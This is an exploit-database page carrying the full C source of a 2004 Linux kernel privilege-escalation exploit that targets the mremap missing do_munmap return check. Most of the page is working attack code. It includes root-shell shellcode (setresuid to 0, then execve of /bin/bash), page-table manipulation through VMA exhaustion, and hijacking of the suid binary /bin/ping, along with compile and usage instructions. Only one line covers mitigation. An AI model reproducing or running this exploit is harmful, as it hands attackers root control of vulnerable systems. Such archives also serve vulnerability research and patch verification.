header-logo
Suggest Exploit
vendor:
by:
iSEC Security Research
7.5
CVSS
HIGH
Kernel Exploit
CWE
Product Name:
Affected Version From: <= 2.2.25, <= 2.4.24, <= 2.6.2
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Linux
2004

mremap missing do_munmap return check kernel exploit

This is a kernel exploit that takes advantage of the missing do_munmap return check in the mremap function. It allows an attacker to gain elevated privileges on vulnerable systems. The exploit works by exploiting a vulnerability in the mremap function of the Linux kernel, specifically in versions <= 2.2.25, <= 2.4.24, and <= 2.6.2. By exploiting this vulnerability, an attacker can execute arbitrary code with root privileges. This exploit requires the suid permission on the target binary /bin/ping. The exploit code is written in C and requires compilation with gcc. The exploit can be executed by running the compiled binary with optional arguments for suid and shell.

Mitigation:

Upgrade to a non-vulnerable version of the Linux kernel.
Source

Exploit-DB raw data:

/*
 *
 *	mremap missing do_munmap return check kernel exploit
 *
 *	gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
 *	./mremap_pte [suid] [[shell]]
 *	
 *	Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
 *
 *	Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *	THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *	AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *	WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

//	this is for standard kernels with 3/1 split
#define STARTADDR	0x40000000
#define PGD_SIZE	(PAGE_SIZE * 1024)
#define VICTIM		(STARTADDR + PGD_SIZE)
#define MMAP_BASE	(STARTADDR + 3*PGD_SIZE)

#define DSIGNAL		SIGCHLD
#define CLONEFL		(DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE	( (1UL) << 0 )
#define MREMAP_FIXED	( (1UL) << 1 )

#define __NR_sys_mremap	__NR_mremap


//	how many ld.so pages? this is the .text section length (like cat 	
//	/proc/self/maps) in pages
#define LINKERPAGES	0x14

//	suid victim
static char *suid="/bin/ping";

//	shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, 		
	  ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, 
			 unsigned long new_len, unsigned long flags, 
			 unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


//	code to appear inside the suid image
static void suid_code(void)
{
__asm__(
	"		call	callme				\n"

//	setresuid(0, 0, 0), setresgid(0, 0, 0)
	"jumpme:	xorl	%ebx, %ebx			\n"
	"		xorl	%ecx, %ecx			\n"
	"		xorl	%edx, %edx			\n"
	"		xorl	%eax, %eax			\n"
	"		mov	$"xstr(__NR_setresuid)", %al	\n"
	"		int	$0x80				\n"
	"		mov	$"xstr(__NR_setresgid)", %al	\n"
	"		int	$0x80				\n"

//	execve(launch)
	"		popl	%ebx				\n"
	"		andl	$0xfffff000, %ebx		\n"
	"		xorl	%eax, %eax			\n"
	"		pushl	%eax				\n"
	"		movl	%esp, %edx			\n"
	"		pushl	%ebx				\n"
	"		movl	%esp, %ecx			\n"
	"		mov	$"xstr(__NR_execve)", %al	\n"
	"		int	$0x80				\n"

//	exit
	"		xorl	%eax, %eax			\n"
	"		mov	$"xstr(__NR_exit)", %al		\n"
	"		int	$0x80				\n"

	"callme:	jmp	jumpme				\n"
	);
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
	"		movl	%%esp, %%eax			\n"
	"		andl	$0xfffff000, %%eax		\n"
	"		movl	%%eax, %0			\n"
	: : "m"(old_esp)
	);
}


static inline void cloneme(void)
{
__asm__(
	"		pusha					\n"
	"		movl $("xstr(CLONEFL)"), %%ebx		\n"
	"		movl %%esp, %%ecx			\n"
	"		movl $"xstr(__NR_clone)", %%eax		\n"
	"		int  $0x80				\n"
	"		movl %%eax, %0				\n"
	"		popa					\n"
	: : "m"(pid)
	);
}


static inline void my_execve(void)
{
__asm__(
	"		movl %1, %%ebx				\n"
	"		movl %2, %%ecx				\n"
	"		movl %3, %%edx				\n"
	"		movl $"xstr(__NR_execve)", %%eax	\n"
	"		int  $0x80				\n"
	: "=a"(ret)
	: "m"(suid), "m"(argv), "m"(env)
	);
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

	memset((void*)addr, 0x90, PAGE_SIZE);
	r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
	ptr = (void*) (addr + PAGE_SIZE);
	ptr -= r+1;
	memcpy(ptr, suid_code, r);
	memcpy((void*)addr, launch, strlen(launch)+1);
}


//	hit VMA limit & populate PTEs
static void exhaust(void)
{
//	mmap PTE donor
	t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
		  MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED==t)
		goto failed;

//	prepare shell code pages
	for(i=2; i<LINKERPAGES+1; i++)
		pte_populate(victim + PAGE_SIZE*i);
	i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
	if(i)
		goto failed;

//	lock unmap
	base = MMAP_BASE;
	cnt = 0;
	prot = PROT_READ;
	printf("\n"); fflush(stdout);
	for(;;) {
		t = mmap((void*)base, PAGE_SIZE, prot, 
			 MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(MAP_FAILED==t) {
			if(ENOMEM==errno)
				break;
			else
				goto failed;
		}
		if( !(cnt%512) || cnt>65520 )
			printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
			base+PAGE_SIZE); fflush(stdout);
		base += PAGE_SIZE;
		prot ^= PROT_EXEC;
		cnt++;
	}

//	move PTEs & populate page table cache
	ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,	
			 MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
	if(-1==ret)
		goto failed;

	munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
	t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, 		
		 PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 
		 0);
	if(MAP_FAILED==t)
		goto failed;

	*t = *((unsigned *)old_esp);
	munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
	printf("\n[+] Success\n\n"); fflush(stdout);
	return;

failed:
	printf("\n[-] Failed\n"); fflush(stdout);
	_exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

	uname(&un);
	n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
	if(n!=3 || a!=2) {
		printf("\n[-] invalid kernel version string\n");
		_exit(0);
	}

	if(b==2) {
		if(c<=25)
			v=1;
	}
	else if(b==3) {
		if(c<=99)
			v=1;
	}
	else if(b==4) {
		if(c>18 && c<=24)
			v=1, e=1;
		else if(c>24)
			v=0, e=0;
		else
			v=1, e=0;
	}
	else if(b==5 && c<=75)
		v=1, e=1;
	else if(b==6 && c<=2)
		v=1, e=1;

	printf("\n[+] kernel %s  vulnerable: %s  exploitable %s",
		un.release, v? "YES" : "NO", e? "YES" : "NO" );
	fflush(stdout);

	if(v && e)
		return;
	_exit(0);
}


int main(int ac, char **av)
{
//	prepare
	check_kver();
	memset(env, 0, sizeof(env));
	memset(argv, 0, sizeof(argv));
	if(ac>1) suid=av[1];
	if(ac>2) launch=av[2];
	argv[0] = suid;
	get_esp();

//	mmap & clone & execve
	exhaust();
	cloneme();
	if(!pid) {
		my_execve();
	} else {
		waitpid(pid, 0, 0);
	}

return 0;
}

// milw0rm.com [2004-03-01]